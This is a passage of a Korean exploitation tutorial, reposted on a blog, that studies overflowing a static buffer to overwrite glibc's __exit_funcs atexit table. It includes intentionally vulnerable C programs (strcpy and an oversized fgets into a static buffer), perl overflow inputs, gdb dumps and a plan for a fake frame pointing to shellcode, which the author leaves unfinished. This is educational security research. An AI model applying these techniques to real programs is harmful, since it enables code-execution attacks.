0x4014da20 <initial+64>:        0x00000000      0x00000000      0x00000000      0x00000000
0x4014da30 <initial+80>:        0x00000000      0x00000000      0x00000000      0x00000000
0x4014da40 <initial+96>:        0x00000000      0x00000000      0x00000000      0x00000000
0x4014da50 <initial+112>:       0x00000000      0x00000000      0x00000000      0x00000000
(gdb) x/i 0x4000e184
0x4000e184 <_dl_fini>:  push   %ebp
(gdb) x/i 0x080484d0
0x80484d0 <_fini>:      push   %ebp

위의 내용을 기준으로 상황을 정리해 보자.
현재, initial과 __exit_funcs 두 변수는 모두 공유라이브러리 영역에 해당하는 주소 공간에
생성되어 있음을 확인할 수 있다.
penguin문서를 보면 initial은 static 영역에 생성되는 것처럼 설명되어 있으나,
glibc-2.2.2-10 기준으로 보면, 두 변수 모두 공유라이브러리 영역에 생성됨을 알 수 있다.

즉, 실험을 해보면, static 변수 이후의 어느 부분의 값을 변경하더라도 어떠한 종류의 에러도 
발생하지 않음을 알 수 있다.

흠.. 그러면 우리는 저 두값을 바꿀 수 있을까? @@;
아무리 봐도 어려울 것같다. 이대로 무너지는가?
우리의 마지막 희망이었던 변수들이 우리가 건드릴 수 있는 영역이 아닌 곳에 존재하는 것이다.

############################################################
### 5.2 -static 옵션을 사용하여 컴파일 하면 어떻게 될까? ###
############################################################

우리는 5.1에서 공유라이브러리를 사용할 경우 핵심이 되는 두 변수가 공유라이브러리 영역에 생성되어져
있음을 확인할 수 있었다. 만일 공유라이브러리를 이용하지 않은 경우에는 어떻게 될까?
우리의 변수들은 아마도 공유영역이 아닌 우리의 프로세스의 변수 영역으로 옮겨올 것이다.
자! 그러면 어디에 생겨날까? 

우리는 이들 변수들이 생겨나는 위치를 확인하기 위해 프로그램을 약간만 변경하도록 하겠다.

[mutacker@int static]$ cat vul.c
#include <stdio.h>
#include <stdlib.h>

char  noninitglob;
extern struct exit_function_list *__exit_funcs;

int main(int argc, char*argv[]) {
        static char buf[128];
        if(argc > 1) strcpy(buf, argv[1]);

        printf("__exit_funcs : %p\n", &__exit_funcs);
        printf("initial : 0x%x\n", __exit_funcs);
        printf("noninitglob : %p\n", &noninitglob);
        printf("static noninit : %p\n", buf);
}

[mutacker@int static]$ gcc -o vul vul.c -static
[mutacker@int static]$ ./vul aaaaaaaaaaaaaaaaa
__exit_funcs : 0x809ce70
initial : 0x809eea0
noninitglob : 0x809f8a4
static noninit : 0x809ee00

자! 이들 변수들의 위치를 살펴보자.

[__exit_funcs] [static noninit] [initial] [noninitglob]
이런 순이 되겠다.

우리의 희망이 보인다. 
공유라이브러리를 이용했을 경우에는 실제 우리가 의도하는 목표를 세우기는 힘들다.
하지만, -static 옵션을 사용하여, 정적라이브러리를 이용할 경우에는 이들 변수들인
위와 같은 형태의 배치로 생겨남을 알 수 있다.

우리는 비초기화된 전역변수를 이용해서는 atexit()에 의해 생성된 테이블을 변경할 수 
없지만, 비초기화된 static 변수를 이용해서는 그 값을 변경할 수 있음을 알 수 있다.

이제 실험을 해보도록 하자.

[mutacker@int static]$ ./vul `perl -e 'print "A"x160'`
[mutacker@int static]$ ./vul `perl -e 'print "A"x161'`
Segmentation fault (core dumped)
[mutacker@int static]$
[mutacker@int static]$ gdb -q vul core
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043
3043    malloc.c: No such file or directory.
        in malloc.c
(gdb) bt
#0  0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043
#1  0x00000001 in ?? ()
#2  0x08048520 in exit (status=134868224) at exit.c:70
(gdb)

위에서 보면 갑자기 eip()값이 엉뚱한 곳을 향했음을 알 수 있다.

[mutacker@int static]$ ./vul `perl -e 'print "A"x160, "\xff\xff\xff\xff"'`
Segmentation fault (core dumped)
[mutacker@int static]$ !gdb
gdb -q vul core
Core was generated by `./vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043
3043    malloc.c: No such file or directory.
        in malloc.c
(gdb) x/16 &initial
0x809eda0 <initial>:    0xffffffff      0x00000000      0x00000004      0x0808e260
0x809edb0 <initial+16>: 0x00000000      0x00000000      0x00000000      0x00000000
0x809edc0 <initial+32>: 0x00000000      0x00000000      0x00000000      0x00000000
0x809edd0 <initial+48>: 0x00000000      0x00000000      0x00000000      0x00000000

(gdb) bt
#0  0x0804c25f in __libc_free (mem=0x809eda0) at malloc.c:3043
#1  0x00000000 in ?? ()
(gdb) p __exit_funcs
$1 = (struct exit_function_list *) 0xffffffff

__exit_funcs함수의 포인터 값이 우리가 넣은 0xffffffff로 설정되어 있음을 확인할 수 있다.
어떻게 그렇게 되었을까? 

자!! 분석을 시작해보자.  exit() 부분을 보자.

  while (__exit_funcs != NULL)
    {
      struct exit_function_list *old;

      while (__exit_funcs->idx > 0)
	{
      	  const struct exit_function *const f =
	    &__exit_funcs->fns[--__exit_funcs->idx];
	  switch (f->flavor)
	    {
	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      (*f->func.on.fn) (status, f->func.on.arg);
	      break;
	    case ef_at:
	      (*f->func.at) ();
	      break;
	    case ef_cxa:
	      (*f->func.cxa.fn) (f->func.cxa.arg, status);
	      break;
	    }
	}

      old = __exit_funcs;
      __exit_funcs = __exit_funcs->next;
      if (__exit_funcs != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (old);
    }
 

에러난 부분을 보면 free()를 하는 시점에서 에러가 났음을 알 수 있다.
즉, free(old); 부분에 old 값이 0xffffffff값을 갖고 있기 때문에 에러가 발생한 것이다.

0x809eda0 <initial>:    0xffffffff      0x00000000      0x00000004      0x0808e260 

위의 내용을 순서대로 살펴보면 
__exit_funcs은 초기 0x809eda0을 갖는다.
따라서, __exit_funcs->next = 0xffffffff, __exit_funcs->idx = 0을 갖게된다.
위의 흐름에 따라 idx값이 0이 되어버렸으므로, while (__exit_funcs->idx > 0) 조건에 만족하지 못하고
     old = __exit_funcs;
      __exit_funcs = __exit_funcs->next;
      if (__exit_funcs != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (old);

__exit_funcs에 0xffffffff가 저장되고 있음을 알 수 있다.
그리고, 다시 루프가 돌아 돌아왔을 때, 0xffffffff가 free()가 되려고 하게 되고, 이로 인해 
오류가 발생할 것으로 예상된다.

우리는 여기에서 exploit을 만드는데 있어서 두가지 방법이 존재할 것으로 예상된다.
첫번째는 __exit_funcs을 위한 fake frame을 하나 만들어서 풀이하는 방법이다.
두번째는 free() bug를 이용해 보는 것이다.

이 문서에서는 먼저 첫번째 방법을 이용하여 해보고, 이후에 두번째 방법을 이용하여 해결해 보려한다.

먼저 __exit_funcs을 위한 fake frame을 하나 만들어서 해결하는 방법을 통해 해결해 보도록 하자.
이를 위해서는 우리는 아래와 같은 설정 필요할 것이다.

(1) __exit_funcs->idx의 값을 0보다 큰 수를 저장
(2) f->flavor에 ef_at에 해당하는 수를 저장
(3) f->func.at 부분에 쉘코드 주소를 저장

이를 위해서는 __exit_funcs의 fake frame이 다음과 같은 형태를 취할 것으로 예상된다.

[next를 위한 어떤 값] [0보다 큰수] [flavor를 위해 0x00000003] [shellcode주소] [주소] ...

헌데, 위에서 우리는 문제가 하나 발생했다.
0x00000003 부분에 우리가 아규먼트로는 넘길수 없는 0x00값이 너무 많이 들어간다는 것이다.

흠!!! 첫번째 방법으로 해결이 어렵다는 것인가?
여기에서 우리는 주저앉을 필요는 없다.

첫번째 루프에서 안되면 두번째 루프에서 가능하도록 하면 되는 것이다.
이를 위해 우리는 __exit_funcs = __exit_funcs->next; 이 라인을 이용해 볼 것이다.
만일 __exit_funcs->next 이 주소에 위에서 설정한 것과 비슷한 형태의 내용이 메모리에 존재한다면 
그곳의 주소를 __exit_funcs->next에 설정하면 될 것이라는 것이다.
여기에서 우리는 절대로 \x00을 입력으로 넣을 수 없음에 주의하자!!

자 그러면 먼저 위에서 설정한 형태와 비슷한 곳이 있는가를 먼저 찾아보자!! 없으면 끝장이다.

어딘가에서 저런 형태를 구할수 있을까?
우리는 main(int argc, char* argv[]) 에서 main의 매개변수가 어떻게 구성되어있을까에 주목해 보자.

[mutacker@int static]$ ./vul AAAAA AAAAA
argc : 0xbffffcd0

0xbffffcc0  00 00 00 00 40 e9 08 08 08 fd ff bf 82 87 04 08   ....@...........
                                    ~~~~~~~~~~~~~~~~~~~~~~~
0xbffffcd0  03 00 00 00 34 fd ff bf 44 fd ff bf 00 00 00 00   ....4...D.......
            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
0xbffffce0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffcf0  40 e9 08 08 b4 80 04 08 50 86 04 08 00 00 00 00   @.......P.......
0xbffffd00  03 00 00 00 00 00 00 00 00 00 00 00 01 81 04 08   ................
0xbffffd10  50 86 04 08 03 00 00 00 34 fd ff bf b4 80 04 08   P.......4.......
0xbffffd20  40 e9 08 08 00 00 00 00 2c fd ff bf 00 00 00 00   @.......,.......
0xbffffd30  03 00 00 00 ec fd ff bf f2 fd ff bf f8 fd ff bf   ................
0xbffffd40  00 00 00 00 fe fd ff bf 18 fe ff bf 31 fe ff bf   ............1...
0xbffffd50  44 fe ff bf 5c fe ff bf 7e fe ff bf 8a fe ff bf   D...\...~.......
0xbffffd60  98 fe ff bf a3 fe ff bf c2 fe ff bf e0 fe ff bf   ................
0xbffffd70  f5 fe ff bf 15 ff ff bf 20 ff ff bf 31 ff ff bf   ........ ...1...
0xbffffd80  39 ff ff bf 49 ff ff bf 57 ff ff bf 68 ff ff bf   9...I...W...h...
0xbffffd90  76 ff ff bf 80 ff ff bf 94 ff ff bf d8 ff ff bf   v...............
0xbffffda0  e0 ff ff bf 00 00 00 00 10 00 00 00 ff f9 83 03   ................
0xbffffdb0  06 00 00 00 00 10 00 00 11 00 00 00 64 00 00 00   ............d...
                                    ~~~~~~~~~~~~~~~~~~~~~~~
0xbffffdc0  0f 00 00 00 e7 fd ff bf 00 00 00 00 00 00 00 00   ................
            ~~~~~~~~~~~~~~~~~~~~~~~
0xbffffdd0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffde0  00 00 00 00 00 00 00 69 36 38 36 00 2e 2f 76 75   .......i686../vu
0xbffffdf0  6c 00 41 41 41 41 41 00 41 41 41 41 41 00 50 57   l.AAAAA.AAAAA.PW

프로그램을 약간 변경하여 메모리의 내용을 살펴보았다.
위의 ~~~ 부분에 주목하라. 어떤가? 정말 굳이다.
어쩌면 저리도 우리가 원하는 형태와 동일한 형태를 띄어준단 말인가?
위에서 03 00 00 00 이 부분은 인자의 갯수를 argv[0], argv[1], 순으로 실제 메모리 상의 주소값이
나오고 있음을 알 수 있다.
그러면 우리는 argc의 주소에서 -8을 한 위치의 주소를 __exit_funcs->next에 설정하면
다음 루프에서 __exit_funcs->idx에 0x08048101, f->flavor = 0x00000003, f->func.at에는 argv[0]
식으로 들어간다.

긴급사태 발생 ㅡㅡ;
const struct exit_function *const f =
	    &__exit_funcs->fns[--__exit_funcs->idx];

위에서 __exit_funcs->idx의 값이 현재 너무 크다. 따라서 인덱스 값이 너무 크게 작용하므로, 
에러가 날 가능성이 보인다. 이전 버젼에서는 flavor가 없었다. ㅡㅡ;

그러면 다시 이와 유사하면서 __exit_funcs->idx값이 작은 영역을 찾아야 한다.
ㅡㅡ; 없다.. 흠냐~ 정말 없다 ㅡㅡ;
만일 원문제와 같은 아주 단순한 프로그램이 아니라, 표준입력을 통해 입력을 받아들이는 부분이
존재한다면, 그 프레임을 꾸미고, 그곳으로 next포인터를 돌림으로써 적용이 가능하리라 생각된다.
이 부분에 대해 이후에 별도로 실험을 해보도록 하겠다.

만일 위의 문제가 다음과 같은 형태라면 문제는 쉽게 해결이 가능할 것이다.

<-- copy from here 
#include <stdio.h>

int main(int argc,char *argv[])
{
    static char buf[128];
    fgets(buf, 500, stdin);
  
}
-- to here -->

위와 같은 형태라면, 표준입력을 통하여 \x00에 해당하는 값을 입력을 받을 수 있기 때문에, 
쉽게 프레임을 만들어버릴 수 있다. 이를 통해 쉽게 exploit의 제작이 가능하다.
만일 next까지만 오버가 가능하다할지라도, 이 또한 static 변수에 프레임을 구성하고 
static 변수의 주소를 next값으로 설정하면 되는 것이기 때문에 그리 어려운 문제가 되지 않는다.

이제 남은 건 free()버그를 이용하는 방법만이 남아있다.
이 부분은 이 문서의 다음 버젼에서 시도하도록 하겠다.
너무 피곤해서리 ㅡㅡ;

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 6. 결론

아규먼트나 환경변수와 같은 0값을 전달할 수 없는 상황에서의 static char buffer overflow에 관련된 
사항을 실험을 통해 알아보았다. 아직, free()버그 기법을 적용해보지는 못했으며, 이에 대해서는
본 문서를 수정해가면서 검토하도록 할 것이다.

기존에 제작되었던 Pascal의 문서가 glibc버젼이 올라가면서 실제 적용이 어려움을 알아보았다.
현재, free()기법을 적용하지 못했지만, 실제 적용했을 때 충분히 exploit이 가능할 것으로 보인다.

본 문서에서는 static char buffer overflow에 관련된 사항을 알아보면서, 
atexit()함수에 의해 생성되는 __exit_funcs의 생성 및 사용, 구조에 대해 알아보고, 어떻게
exploit이 가능하겠는가에 대한 구조에 대해 알아보았다.
즉, 본 문서를 통해 실제 exploit에 대한 제작 기법은 소개하지 못함을 죄송하게 생각한다.
근 시일내에 새로 수정된 버젼을 기대해 본다.

때로는 실패도 성공의 어머니랬다. ^^;

///////////////////////////////////////////////////////////////////////////////////////////////
/////// 7. 참고 문헌: 

  [1]. w00w00 on Heap Overflows
       By: Matt Conover (a.k.a. Shok) & w00w00 Security Team

  [2]. __atexit in memory bugs
       By Pascal Bouchareine <pb@hert.org>


[ 펌 : http://webcache.googleusercontent.com/search?q=cache:S7X8iTdGNvwJ:agz.es/Reverse-Engineering/Exploit/exploit%2520%255Bmutacker%255D.txt+&cd=1&hl=ko&ct=clnk&gl=kr&lr=lang_ko&client=ubuntu ]

'자료' 카테고리의 다른 글

[STL] vector구현(수정)  (0) 2016.02.09
Heap 기반 free() & malloc() Exploit 작성하기  (0) 2015.12.26
[자료구조] Binary Search Tree(BST)  (0) 2015.12.12
[Python] Rop Exploit  (0) 2015.12.05
[Python] Blind SQL Injection  (0) 2015.12.05
블로그 이미지

KuroNeko_

KuroNeko

,